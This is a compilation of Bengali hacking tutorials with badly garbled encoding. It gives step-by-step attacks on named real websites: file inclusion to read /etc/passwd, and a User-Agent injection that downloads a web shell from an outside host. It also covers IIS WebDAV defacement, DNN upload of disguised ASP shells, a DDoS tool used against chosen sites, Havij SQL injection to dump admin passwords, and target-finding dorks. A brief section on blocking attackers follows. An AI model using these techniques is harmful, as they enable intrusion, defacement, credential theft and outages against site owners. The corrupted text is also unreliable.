wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
